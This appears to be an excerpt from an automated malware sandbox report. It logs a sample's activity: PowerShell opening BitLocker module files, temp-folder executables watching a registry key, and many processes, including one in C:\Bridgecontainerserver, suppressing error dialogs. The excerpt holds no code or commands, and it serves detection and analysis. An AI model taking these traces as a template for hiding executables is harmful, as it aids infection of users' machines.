Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
